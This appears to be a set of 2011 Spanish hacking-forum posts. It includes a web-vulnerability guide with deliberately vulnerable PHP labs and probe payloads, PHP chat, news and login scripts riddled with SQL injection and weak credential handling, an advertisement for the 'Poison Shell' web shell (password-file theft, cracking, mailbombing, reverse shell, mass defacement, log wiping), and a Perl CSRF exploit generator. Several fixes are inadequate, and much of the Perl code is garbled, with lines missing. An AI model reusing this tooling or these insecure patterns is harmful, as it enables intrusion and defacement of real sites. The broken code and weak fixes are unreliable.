|
531
|
Seguridad Informática / Nivel Web / [Guia] Vulnerabilidades a nivel web
|
en: 7 Octubre 2011, 01:28 am
|
[Guia] Vulnerabilidades a nivel web [Titulo] : Vulnerabilidades a nivel web [Autor] : Doddy Hackman [Temario] --===================================-- 0x01 : Introduccion 0x02 : SQLI 0x03 : Blind SQLI 0x04 : HTML Injection 0x05 : XSS 0x06 : RFI 0x07 : LFI 0x08 : Remote code Execution 0x09 : Full Path Discloure 0x10 : Full Source Discloure 0x11 : PHP Injections --===================================-- 0x01 : Introduccion Hola a todos. Eh empezado a hacer esta simple guia donde detallo de forma minima las vulnerabilidades mas comunes a nivel web , en cada vulnerabilidad solo explicare como se produce y como arreglarlo , pero no voy a ampliar demasiado en tecnias de cada una Cualquier error en la guia deben decirmelo para aprender de mis errores 0x02 : SQLI Las injecciones SQL son una de las vulnerabilidades mas usadas debido a que es una de las faciles de explotar cuando estas son encontradas. La injecciones SQL se producen cuando se incluye en una sentencia SQL una variable que no esta filtrada , entonces mediante la variable mal filtrada vamos a poder codigo que nos puedan ayudar a sacar columnas , extraer tablas y columnas , datos y todo eso......... Un ejemplo de este tipo de vulnerabilidad <title>LABS SQL INYECTION</title>
<STYLE type="text/css">
body { background-color: #000000; color:orange; font-family: Courier New; cursor:crosshair; font-size: small; } </style>
<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>
<?php
$host = 'localhost'; $user = 'root'; $datos = 'users';
$conexion = mysql_connect($host, $user); mysql_select_db($datos,$conexion);
if (isset($_GET['id'])) { $id = $_GET['id']; }
if(empty($id)){ $id = "1"; }
$sql = mysql_query("SELECT * FROM `hackers` WHERE id=".$id) or die (mysql_error());
$resultado = mysql_fetch_row($sql);
echo "<h3><b>id: </font>".$resultado[0]."<br>"; echo "user: </font>".$resultado[1]."<br>"; echo "pass: </font>".$resultado[2]."</b></h3><br>";
mysql_close($conexion);
?>
Como ven , la funcion mysql_query() usa un sentencia que posee la variable $id , como la variable $id no esta filtrada o protegida , se puede insertar codigo de la siguiente manera http://127.0.0.1/sql.php?id= ¿AQUI?
A partir del id podemos poner el codigo para ver si es vulnerable o no porque id es la variable mal filtrada Para saber si es vulnerable podemos poner un ' en el contenido de id Si el resultado de la pagina es algo como mysql error bla bla Es porque es vulnerable Una forma de protegerse de este ataque es verificar que $id sea un numero y no codigo raro para modificar la sentencia SQL if (!is_numeric($_GET['id'])) { echo "no me jodas !!!<br>"; exit(1); }
Como vemos usamos is_numeric para la verificacion , pero usamos este para verificar que si $id no es un numero , este nos avise y nos diga no me jodas !!! 0x03 : Blind SQLI Las Blind SQLI vienen de la misma vulnerabilidad que las SQLI , pero en este caso el admin usa @ en las funciones para la conexion con la DB o error_reporting en 0 para que no tire errores. Un grave error pues asi esta provocando las conocidas Blind SQLI Un ejemplo de pagina vulnerable seria este <title>LABS SQL INYECTION</title>
<STYLE type="text/css">
body { background-color: #000000; color:orange; font-family: Courier New; cursor:crosshair; font-size: small; } </style>
<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>
<?php
$host = 'localhost'; $user = 'root'; $datos = 'hackman';
$conexion = mysql_connect($host, $user,"123"); mysql_select_db($datos,$conexion);
if (isset($_GET['id'])) { $id = $_GET['id']; }
if(empty($id)){ $id = "1"; }
$sql = @mysql_query("SELECT * FROM `hackers` WHERE id=".$id);
$resultado = @mysql_fetch_row($sql);
echo "<h3><b>id: </font>".$resultado[0]."<br>"; echo "user: </font>".$resultado[1]."<br>"; echo "pass: </font>".$resultado[2]."</b></h3><br>";
mysql_close($conexion);
?>
como ven usamos @ para evitar errores las funciones mysql_query() y mysql_fetch_row() Entonces para comprobar que si la pagina es vulnerable a Blind SQLI podemos poner asi en la parte de id http://127.0.0.1/sql.php?id=1+and+1=1
http://127.0.0.1/sql.php?id=1+and+1=0
Si en el primer link devuelve un resultado positivo y en el segundo negativo (no muestra nada) Una forma de arreglar esta vulnerabilidad seria la misma que la de SQLI if (!is_numeric($_GET['id'])) { echo "no me jodas !!!<br>"; exit(1); }
0x04 : HTML Injection Las HTML Injection son conocidas como las vulnerabilidades mas idiotas y faciles de hacer , pero , ¿los que dicen eso saben como se produce y como se arregla ? ,de ese estoy seguro que no . Esta vulnerabilidad se produce normalmente en los libros de visitas cuando se deja un comentario y se lo muestra en pantalla Un ejemplo seria este <?php
echo "
<form action='' method=POST> <input type=text name=mensaje> <input type=submit value=Mostrar> </form>
";
if (isset($_POST['mensaje'])) { echo $_POST['mensaje']; }
?>
Si queremos probar si la pagina padece de esta vulnerabilidad solo tendriamos que poner algo de codigo html Si ponemos "<h1>hola</h1>" y se muestra como tal es porque es vulnerable La forma de protegerse es facil solo filtras las variables para protegerse Para hacer esto podemos usar htmlentities() o htmlspecialchars() , usen la que quieran pues las dos protegen <?php
echo "
<form action='' method=POST> <input type=text name=mensaje> <input type=submit value=Mostrar> </form>
";
if (isset($_POST['mensaje'])) {
echo htmlentites($_POST['mensaje']); }
?>
0x05 : XSS Bueno , XSS es una vulnerabilidad conocida y util a la hora de robar cookies , la vulnerabilidad se produce cuando se muestra una variable mal filtrada <?php
echo "
<form action='' method=GET> <input type=text name=msg> <input type=submit value=Mostrar> </form>
";
if (isset($_GET['msg'])) {
echo $_GET['msg']; }
?>
Para ver si es vulnerable podemos ejecutar el siguiente link con el siguiente codigo <script>alert("hola");</script>
http://127.0.0.1/xss.php?msg=<script>alert("hola");</script>
Como ven la variable msg es enviada por metodo GET , la variable no es protegida y es mostrada tal cual Una forma de reparar es usar como htmlentities() o htmlspecialchars() <?php
echo "
<form action='' method=GET> <input type=text name=msg> <input type=submit value=Mostrar> </form>
";
if (isset($_GET['msg'])) {
echo htmlspecialchars($_GET['msg']); }
?>
0x06 : RFI Bueno , el viejo RFI , esta vulnerablidad es muy conocida , se trata de un mal uso de la funcion include() y una mala configuracion de la variable allow_url_include estando On en php.ini Un ejemplo seria este <?php
if (isset($_GET['car'])) { include($_GET['car']); }
?>
Como ven , si queremos saber si la pagina es vulnerable a RFI podemos hacer asi http://127.0.0.1/rfi.php?car=http://www.google.com.ar
Y si la pagina muestra la pagina de google es porque la pagina es vulnerable a RFI Una forma de protegerse RFi seria usando un control en la variable "car" de la siguiente forma if (isset($_GET['car'])) {
if ($_GET['car'] == "veo") { include("veo.php"); }
elseif($_GET['car'] == "noveo") { include("noveo.php"); } else { echo "no intentes cosas raras xDDD"; } }
0x07 : LFI Bueno , el conocido LFI ,es parecido a RFI , pero este solo ejecuta archivos a nivel local y no remoto como RFI Un ejemplo de pagina vulnerable seria asi <?php
if (isset($_GET['car'])) { include($_GET['car']); }
?>
Para saber si es vulnerable podemos cargar la variable car con un ' de la siguiente manera http://127.0.0.1/lfi.php?car='
Y si nos devuelve algo asi Warning: include(') [function.include]: failed to open stream: No such file or directory in C:\xampp\htdocs\666.php on line 4
Es porque es vulnerable xDDD Para protegernos de esta vulnerabilidad seria de la misma forma que RFI if (isset($_GET['car'])) {
if ($_GET['car'] == "veo") { include("veo.php"); }
elseif($_GET['car'] == "noveo") { include("noveo.php"); } else { echo "no intentes cosas raras xDDD"; } }
0x08 : Remote code Execution Esta vulnerabilidad no es muy conocida , se trata de poder ejecutar comandos en la maquina atacada sin necesidad de crear una shell. Entonces un ejemplo de pagina vulnerable seria esta. <?php
echo "
<form action='' method=POST <input type=text name=cmd> <input type=submit value=mandar> </form>
";
if (isset($_POST['cmd'])) { system("ping ".$_POST['cmd']); }
?>
Como ven la pagina hace un comando ping con system() a la ip marcada por ustedes Entonces que pasa si ponemos una ip cualquiera Pues nada solo hace un ping a la ip que pusieron Entonces si ponemos esto El servidor nos devolveria el resultado de el comando ping con un extra xDDD Pues si estamos viendo la version del SO Entonces la explicacion es simple solo ponemos && para agregar un comando siempre cuando la ip que pusieron anteriormente era real y el ping se mostro correctamente Entonces si queremos arreglar esta vulnerabilidad tenemos que reemplazar toda cosa rara en la variable de "cmd" Quedando el codigo de la siguiente manera <?php
echo "
<form action='' method=POST <input type=text name=cmd> <input type=submit value=mandar> </form>
";
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$cmd = str_replace("&&", "", $cmd); $cmd = str_replace(";", "", $cmd); $cmd = str_replace("-", "", $cmd); $cmd = str_replace("?", "", $cmd); $cmd = str_replace("||", "", $cmd); $cmd = str_replace("|", "", $cmd); $cmd = stripslashes($cmd);
system("ping ".$cmd);
}
?>
0x09 : Full Path Discloure Esta vulnerabilidad se produce cuando se produce un error , tanto como un error en el resultado de la funcion que estamos usando como la sintasis usada en la misma Un ejemplo seria este <?php if (isset("no se nada de php")) {
} ?>
Que feo programo xDDD Entonces el error que nos devuelve seria este Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\666.php on line 2
Como vemos nos devuelve el directorio actual donde se ejecuta el archivo php , esto es lo que se llama full path discloure Esta vulnerabilidad tambien aparece en SQL y LFI , cuando poniamos la comilla ' el resultado de include() y mysql_query() En el caso del segundo era una full path discloure ademas de estar indicando que la pagina realmente era vulnerable a SQL En el caso del primero tambien se debia al mal uso de la funcion include() devolviendonos un error con un full path discloure 0x10 : Full Source Discloure Bueno , esta vulnerabilidad nos permite descargar archivos de un servidor web debido a que no filtra las variables Un ejemplo seria este if (isset($_GET['down'])) { header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=".basename($_GET['down'])); readfile($_GET['down']); }
Entonces si ponemos la ruta que queremos en la variable "down" estamos hecho. Un ejemplo de uso seria este http://127.0.0.1/down.php?down=c:/secretos.txt
Y con eso descargariamos el archivo secreto si es que existe xDDD Entonces una forma de evitar esta vulnerabilidad seria usando una DB , que contenga una tabla con los links de descarga , entonces una vez que se detecte la variable down se verificaria que fuera un numero de lo contrario chau xDDD 0x11 : PHP Injections Bueno , la php injections suelen suceder cuando usa la funcion eval(). La funcion eval() nos permite ejecutar codigo php Un ejemplo de esta vulnerabildad seria este <?php
if (isset($_GET['te'])) { eval($_GET['te']); }
?>
Como ven , es un caso muy raro y especial en cierto sentido xDDD Entonces si ejecutamos este link http://127.0.0.1/php?te=echo "hola mundo";
Si vemos en la pantalla , este link nos devuelve hola mundo , creo que es obvio que es vulnerable Una forma de protegerse seria no usar eval() --========-- ¿ The End ? --========--
|
|
|
532
|
Programación / PHP / [PHP] Simple Chat By Doddy H
|
en: 7 Octubre 2011, 01:26 am
|
Como dice el titulo , es un simple chat que se divide en 3 partes install.php <?php
//Datos para la DB
$host = "localhost"; $user = "root"; $pass = ""; $db = "chat";
echo " <title>Instalacion de mini chat</title> <br><br><b>Seguro que desea instalar mini chat</b><br><br> <form action='' method=POST> <input type=submit name=instalar value=Instalar> </form> <br><br>";
if (isset($_POST['instalar'])) {
if (mysql_connect($host,$user,$pass)) {
$todo2 = "create table $db.mensajes ( id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT, mensaje TEXT NOT NULL, apodo VARCHAR(255) NOT NULL, PRIMARY KEY (id_comentario)); ";
if (@mysql_query($todo1)) { echo "1"; if (@mysql_query($todo2)) { echo "chat instalado<br>"; } } else { echo "error en la instalacion<br>"; } } else { echo "error en la conexion con la db<br>"; } }
?>
admin.php <?php
$host = "localhost"; $user = "root"; $pass = "";
$usera = "test"; $passa = "test";
if (isset($_GET['user'])) {
if ($_GET['user'] == $usera) { if ($_GET['pass'] == $passa) {
@mysql_connect($host,$user,$pass);
$re = @mysql_query("select * from chat.mensajes");
if (is_numeric($_GET['id'])) { if (@mysql_query("delete from chat.mensajes where id_comentario='".$_GET['id']."'")) { echo "<script>alert('Comentario borrado');</script>"; } }
while ($ver = @mysql_fetch_array($re)) { echo "<a href=?user=".$usera."&pass=".$passa."&id=".$ver[0].">Borrar comentario ".$ver[0]."</a><br>"; }
} }
}
?>
index.php <?php
$db = "chat"; // $host = "localhost"; $user = "root"; $pass = "";
echo " <style>
.main { word-wrap: break-word; word-break:break-all; margin : -287px 0px 0px -490px; border : White solid 1px; BORDER-COLOR: #00FF00; }
td,body { background-color:black;color:#00FF00; }
input,textarea,select { font: normal 10px Verdana, Arial, Helvetica, sans-serif; background-color:black;color:#00FF00; border: solid 1px #00FF00; border-color:#00FF00 }
</style>";
mysql_connect($host,$user,$pass); mysql_select_db($db);
echo "<table border=0 width='300' style='table-layout: fixed'>"; echo "<td class=main><b>Mini Chat 0.2</b></td><tr>";
$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db.mensajes");
$s = mysql_fetch_row($sumo);
foreach ($s as $d) { $total = $d; }
$test = $total - 10;
if ($test <= 0) { next; } else { $resto = $test;
for ($i = 1; $i <= $resto; $i++) { @mysql_query("DELETE FROM $db.mensajes where id_comentario='$i'"); }
}
$re = @mysql_query("select * from $db.mensajes order by id_comentario DESC");
while ($ver = @mysql_fetch_array($re)) { echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr>"; }
echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br> <form action='' method=POST> Apodo : <input type=text name=apodo size=25><br> Texto : <input type=text name=msg size=25><br><br> <input type=submit name=chatentro value=Mandar> </form> <td><tr> <td class=main><b>Coded By Doddy H</b></td><tr> </table>";
if (isset($_POST['chatentro'])) {
$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db"."."."mensajes");
$s = mysql_fetch_row($sumo);
foreach ($s as $d) { $x_id = $d+1; }
$apodo = htmlentities(addslashes($_POST['apodo'])); $mensaje = htmlentities(addslashes($_POST['msg']));
$apodo = substr($apodo,0,70); $mensaje = substr($mensaje,0,70);
$insultos = array("lammer","lamer","puto","noob");
foreach ($insultos as $con) { $mensaje = str_replace($con,"#$!*",$mensaje); $apodo = str_replace($con,"#$!*",$apodo); }
@mysql_query("INSERT INTO $db"."."."mensajes"."("."id_comentario".","."apodo".","."mensaje".")values('".$x_id."','".$apodo."','".$mensaje."')");
echo '<meta http-equiv="refresh" content=0;URL=>';
}
?>
Esa serian las tres partes , el chat tiene las siguientes opciones - Solo permite 10 mensajes por lo que borra por antiguedad
- Filtra malas palabras
Eso seria todo Cualquier vulnerabilidad la reportan
|
|
|
533
|
Programación / PHP / [PHP Shell] Poison Shell 1.0
|
en: 7 Octubre 2011, 01:26 am
|
Aca les traigo la nueva version de mi phpshell -- == Mejoras == -- - Deteccion de archivo /etc/passwd o SAM para descargar
- Cracker para FTP Y Mysql
- PortScanner
- MailBomber para varios emails
- Posibilidad de buscar kernel en DB Exploit
- ProxyWeb
- Encode para md5,sha1,crc32
- Mejoras de diseño
- login y pass de la shell cifrado en md5
-- == Funciones == -- - Informacion : sobre el servidor web
- Navegacion de archivos y directorios :
* En esta opcion pueden editar , borrar ,renombrar y descargar archivos * Tambien podes crear directorios nuevos - Ejecutar comandos
- Subir archivos a un directorio especifico
- Base64 encode() decode()
- Ejecutar codigo php con eval()
- Cargar phpinfo()
- Crackear hash md5 con salto o sin salto
- BackShell : en esta version solo esta un reverse shell en perl hecho por mi
- MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan
- CleanLogs : limpia logs de linux
- FTP
* Crear directorios nuevos * Este cliente FTP permite navegar a traves de los directorios y archivos * Borrar archivos * Cambiar permisos de archivos * Descargar archivos * Podes navegar a traves de la base datos podiendo ver todas las bases de datos y tablas activas * Ejecutar sentencias SQL * Descargar tablas * Descargar bases de datos * En esta opcion podemos ver todos los cookies activos * Podemos crear un cookie con el valor que queremos * En esta opcion podemos ver todas las sesiones activas * Podemos crear una sesion con el valor que queremos - Shell Protegida con user y pass
- Autodestruccion de la shell
El codigo de la shell esta en pastebin http://pastebin.com/FM7j0w7N
Cualquier sugerencia o error digamenlo para mejorar Una imagen
|
|
|
534
|
Programación / PHP / [PHP Class] Noticion 0.9
|
en: 7 Octubre 2011, 01:22 am
|
Bueno , en esta version le quite esa opcion de usar bases de datos que era innecesaria debido que no se puede tener varias , gran error mio pero gracias por decirmelo , en esta version le quite algunas cosas que no hacian falta y modifique el uso de bases de datos por tablas Para realizar la conexion usamos datos($host,$user,$pass,$db)
Para crear una nueva categoria usamos crearcategoria($nuevacategoria)
Para borrar una categoria usamos eliminarcategoria($eliminarcategoria)
Para devolver un array con todas las categorias disponibles usamos Para crear una nueva noticia usamos nuevo($x_titulo,$x_contenido,$x_fecha,$categoria)
Para modificar el contenido usamos mod($categoria,$id,$tit,$con,$fech)
Para borrar una noticia usamos Para poder ver el contenido de una noticia usamos Para recibir una lista de todas las noticias usamos Para crear un comentario usamos crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje)
Para modificar el contenido de un comentario usamos modcomentario($categoria,$id,$fecha,$apodo,$contenido)
Para ver el contenido de un comentario usamos vercomentarios($categoria,$id)
Para borrar un comentario borrarcomentario($categoria,$id)
Para cerrar la conexion con el servidor mysql usamos <?php
/*
Noticion 0.9
(c) DOddy Hackman 2011
*/
class noticion {
private $db;
public function datos($host,$user,$pass,$db) {
$this->db = $db;
if (@mysql_connect($host,$user,$pass)) { if (@mysql_select_db($db)) { return true; } } }
public function crearcategoria($nuevacategoria) {
$todo1 = "create table categoria_$nuevacategoria ( id int(10) UNSIGNED NOT NULL AUTO_INCREMENT, titulo VARCHAR(255) NOT NULL, contenido TEXT NOT NULL, fecha VARCHAR(255) NOT NULL, PRIMARY KEY (id)); ";
$todo2 = "create table comentarios_$nuevacategoria ( id_noticia int(10), id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT, mensaje TEXT NOT NULL, apodo VARCHAR(255) NOT NULL, fecha VARCHAR(255) NOT NULL, PRIMARY KEY (id_comentario)); ";
if (@mysql_query($todo1)) { if (@mysql_query($todo2)) { return true; } } }
public function eliminarcategoria($eliminarcategoria) {
if (@mysql_query("DROP TABLE categoria_$eliminarcategoria")) { if (@mysql_query("DROP TABLE comentarios_$eliminarcategoria")) { return true; }
} }
public function eliminar($id,$categoria) { if (is_numeric($id)) { if (@mysql_query("DELETE FROM categoria_$categoria where id='$id'")) { return true; } } }
public function nuevo($x_titulo,$x_contenido,$x_fecha,$categoria) { $sumo = mysql_query("SELECT MAX(id) FROM categoria_$categoria");
$s = mysql_fetch_row($sumo);
foreach ($s as $d) { $x_id = $d+1; } if (@mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) { return true; } }
public function vereste($id,$categoria) { if (is_numeric($id)) { $total = array(); if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) { while ($ver = @mysql_fetch_array($que)) { return array($ver[0],$ver[1],$ver[2],$ver[3]); } } } }
public function listarcategorias() {
$found = array();
if ($re = @mysql_query("show tables from ".$this->db)) {
while($dat = mysql_fetch_row($re)) { $separo = split("_",$dat[0]); array_push($found,$separo[1]); } return array($found); }
}
public function vertodo($categoria) { $total = array(); if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) { while ($ver = @mysql_fetch_array($que)) { array_push($total,$ver); } return array($total); } }
public function mod($categoria,$id,$tit,$con,$fech) { if (@mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) { return true; } }
public function crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje) {
$sumo = mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");
$s = mysql_fetch_row($sumo);
foreach ($s as $d) { $x_id = $d+1; }
if (mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) { return true; }
}
public function modcomentario($categoria,$id,$fecha,$apodo,$contenido) { if (@mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) { return true; } }
public function vercomentarios($categoria,$id) { $todo = array(); if ($ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) { while ($que = @mysql_fetch_array($ver)) { if ($que[0] == 1) { array_push($todo,$que); } } return array($todo); }
}
public function borrarcomentario($categoria,$id) { if (is_numeric($id)) { if (@mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) { return true; } } }
public function close() { $test->close; }
}
?>
Ejemplos de usos <?php
include_once("noticion.php");
$name = New noticion;
if ($name->datos("localhost","root","","test")) { echo "conexion abierta<br>";
//$name->crearcategoria("py");
//if ($name->borrarcomentario("perl","1")) { //echo "ok"; //}
//$name->modcomentario("perl","2","a","a","a");
list($recibo) = $name->vercomentarios("perl","1");
echo count($recibo)."<BR><BR>";
foreach($recibo as $a) { echo $a[2]."<br>"; }
//$name->crearcomentario("perl","1","1","1","1");
//if ($name->nuevo("aa","aa","aa","perl")) { //echo "ok"; //}
//$ver = $name->vereste("1","perl");
//echo $ver[0]; //$name->mod("perl","3","cambie","cambie","cambie");
//$re = $name->listarcategorias();
//$name->eliminar("5","perl");
//list($re) = $name->vertodo("perl");
//foreach ($re as $r) { //echo $r[0]."<br>"; //echo $r[1]."<br><br>"; //}
//$name->crearcategoria("perl");
//foreach($t as $veo) { //echo $veo[id]."<br>"; //}
$name->eliminarcategoria("py"); }
Culquier error , vulnerabilidad o mejorar deben decirlas para mejorar esta clase
|
|
|
535
|
Programación / PHP / [PHP Class] Loginow 0.2 By Doddy H
|
en: 7 Octubre 2011, 01:21 am
|
Hola a todos. Acabo de hacer mi primer clase en PHP , esta sirve para realizar logins a webs con las sig opciones * extrae valores del formulario para realizar la verificacion * login mediante DB * login mediante una contraseña md5 marcada por ustedes * Si el login es exitoso crea una cookie No eh alcando a probarla hasta fondo Pero aca tienen un ejemplo de como usarla test.php include_once("loginow.php");
if (isset($_POST['mandar'])) { $nave = new loginow; $nave->campos("usuario","password"); //if ($nave->secure("admin","098f6bcd4621d373cade4e832627b4f6")) { if ($nave->database("localhost","root","","hackman","hackers","usuario","password")) { $nave->cookienow("login"); echo "login correcto"; } else { echo "Error en el login"; exit(1); } } else { echo " <form action='' method=POST> Usuario : <input type=text name=usuario value=admin><br> Password : <input type=text name=password value=test><br> <input type=submit name=mandar value=mandar></form>"; }
Como ven usamos las funciones campos(); # ponemos los nombres de las casillas user y pass para realizar la verificacion secure(); #establecemos esta funcion para verificar mediante user y pass establecidos por nosotros database(); #ponemos los datos de la DB y sus columnas para realizar la verificacion , claro la clase solo se basara en el primer casillero loginow.php <?php
/*
Simple Class for login of the webs
(c) DOddy Hackman 2010
*/
class loginow {
private $host; private $db; private $user; private $pass; private $tabla; private $columna1; private $columna2; private $usereal; private $passreal; private $campouser; private $campopass; private $cookiename;
public function campos($campouser,$campopass) { if (isset($_POST[$campouser])) { $this->campouser = $_POST[$campouser]; $this->campopass = md5($_POST[$campopass]); } else { $this->campouser = $campouser; $this->campopass = $campopass; } }
public function database($host,$dbuser,$dbpass,$db,$tabla,$columna1,$columna2) { mysql_connect($host,$dbuser,$dbpass); mysql_select_db($db); $que = mysql_query("SELECT * FROM ".$tabla); while ($test = mysql_fetch_array($que)) { if ($this->campouser == $test[$columna1] and $this->campopass == $test[password]) { $this->usereal = $test[$columna1]; $this->passreal = $test[$columna2]; return true; } } }
public function secure($user,$pass) { if ($this->campouser == $user and $this->campopass == $pass) { $this->usereal = $user; $this->passreal = $pass; return true; } else { return false; } }
public function cookienow($cookiename) { setcookie($cookiename,base64_encode($this->usereal."@".$this->passreal)); }
}
?>
Caulquier mejora , fallo o vulnerabilidad encontrada deben decirmelo para mejorar
|
|
|
536
|
Programación / PHP / [PHP Class] Get Info By Doddy H
|
en: 7 Octubre 2011, 01:21 am
|
Bueno , esto no es nada del otro mundo , solo una simple clase que te da informacion sobre el visitante <?php
/*
Simple Class GetInfo
By Doddy Hackman
*/
class getinfo {
public function ip() { return htmlentities($_SERVER['SERVER_ADDR']); }
public function navegador() {
$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true); return array(htmlentities($navegador['browser']),htmlentities($navegador['version'])); }
public function so() {
$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true); return htmlentities($navegador['platform']);
} }
?>
Funciones ip() // Te da la IP navegador() // Te da el navegador so() // te da el SO
|
|
|
537
|
Programación / Scripting / [Perl] CSRF T00l
|
en: 7 Octubre 2011, 01:16 am
|
Una simple herramienta para ahorrar trabajo en la creacion de un exploit para la vulnerabildiad Cross Site Request Forgery , despues genera el resultado en una carpeta creada con el programa con el nombre de la web. #!usr/bin/perl #CSRF T00l (C) Doddy Hackman 2011 use HTML::Form; use URI ::Split qw(uri_split ); installer(); head(); if($ARGV[0]) { now($ARGV[0]); } else { sintax(); } copyright(); sub now { unless(-f $_[0]) { print "\n[-] File Not Found\n"; copyright(); } print "\n[+] File to parse : ".$_[0]."\n\n"; my $words = join q(),<FILE>; my @testar = HTML::Form->parse($words,"/"); $count = 0; foreach my $test(@testar) { $count++; print "\n\n -- == Form $count == --\n\n"; if ($test->attr(name) eq "") { print "[+] Name : No Found"."\n"; } else { print "[+] Name : ".$test->attr(name )."\n"; } print "[+] Action : ".$test->action."\n"; print "[+] Method : ".$test->method."\n"; print "\n-- == Input == --\n\n"; @inputs = $test->inputs; print "Type\t\tName\t\tValue\n"; foreach $in(@inputs) { print $in->value."\t\t\n"; } } print "\n\n[+] Form to generate : "; if ($op ne "") { $op--; my $probar = (HTML::Form->parse($words,"/"))[$op]; my $action = ver($words,$op); my $fin = nombre($action).".html"; savefile("<form action=$action method=".$probar->method." name=exploit>",$fin); @input = $probar->inputs; foreach $in(@input) { print "\n[+] Value of the ".$in->name." : "; chomp(my $val = <stdin>); savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin); } my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()} </script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()> "; savefile($final,$fin); print "\n\n[+] CSRF Exploit Generated\n\n"; print "[+] To can see in logscsrf/".$fin."\n\n"; } } sub ver { my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]]; my $action = $probar->action; my $co = $action; if ($action eq "" or $action eq "/"){ print "\n\n[+] Action : "; chomp(my $action = <stdin>); } else { } } sub installer { unless (-d "logs_csrf/") { mkdir("logs_csrf/","777"); }} sub nombre { my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]); } sub savefile { open (SAVE ,">>logs_csrf/".$_[1]); } sub sintax { print "\n[+] sintax : $0 <file>\n"; } sub head { print "\n\n -- == CSRF T00l == --\n\n"; } sub copyright { print "\n\n -- == Doddy Hackman 2011 == --\n\n"; } # ¿ The End ?
Ejemplo de uso C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II Finales\CSRF Tool>tool.pl read.txt
-- == CSRF T00l == --
[+] File to parse : read.txt
-- == Form 1 == --
[+] Name : No Found [+] Action : http://localhost/labs/csrf/csrf.php [+] Method : GET
-- == Input == --
Type Name Value text ver password veras submit control Agregar
-- == Form 2 == --
[+] Name : No Found [+] Action : / [+] Method : POST
-- == Input == --
Type Name Value text ac submit ee aaa
[+] Form to generate : 1
[+] Value of the ver : aaa
[+] Value of the veras : aaa
[+] Value of the control : aaa
[+] CSRF Exploit Generated
[+] To can see in logscsrf/localhost.html
-- == Doddy Hackman 2011 == --
|
|
|
538
|
Programación / Scripting / [Perl] Codificator version consola
|
en: 7 Octubre 2011, 01:16 am
|
Un simple codificador Soportes : - Hex encode/decode
- MD5 encode
- Base64 encode/decode
- ASCII encode/decode
- URL encode/decode
#!usr/bin/perl #Codificator version consola (C) Doddy Hackman 2011 #This tool encode in : # #Hex #MD5 #Base64 #ASCII #URL # # use Digest::MD5; use Digest::SHA1; use MIME::Base64; use URI::Escape; sub head { @@@ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @ @ @@@ @ @@@ @@@ @@@ @@@ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @@ @ @ @ @ @@@ @@@ @@ @ @ @ @ @@@ @@ @ @@ @@@ @ ); } head(); print "\n[+] Options\n\n"; 1 - MD5 encode 2 - Base64 encode 3 - Base64 decode 4 - Ascii encode 5 - Ascii decode 6 - Hex encode 7 - Hex decode 8 - URL encode 9 - URL decode 10 - Exit ); while(true) { print "\n\n[+] Option : "; if ($op eq 1) { chomp(my $string = <stdin>); print "\n\n[+] MD5 : ".Digest ::MD5->md5_hex($string)."\n\n"; } elsif ($op eq 2) { chomp(my $string = <stdin>); print "\n\n[+] Base64 : ".encode_base64 ($string); } elsif ($op eq 3) { chomp(my $string = <stdin>); print "\n\n[+] Base64 Decode : ".decode_base64 ($string)."\n"; } elsif ($op eq 4) { chomp(my $string = <stdin>); } elsif ($op eq 5) { chomp(my $string = <stdin>); } elsif ($op eq 6) { chomp(my $string = <stdin>); $hex = "0x"; } print "\n\n[+] Hex : ".$hex."\n"; } elsif ($op eq 7) { chomp(my $string = <stdin>); $string =~ s/^0x//; print "\n\n[+] Hex decode : ".$encode."\n"; } elsif ($op eq 8) { chomp(my $string = <stdin>); print "\n\n[+] URL Encode : ".uri_escape ($string)."\n"; } elsif ($op eq 9) { chomp(my $string = <stdin>); print "\n\n[+] URL Decode : ".uri_unescape ($string)."\n"; } elsif ($op eq 10) { copyright(); } else { print "[+] Write good stupid !\n"; } } sub copyright { print "\n-- == Doddy Hackman 2011 == --\n\n"; } # ¿The End ?
Ejemplo de uso
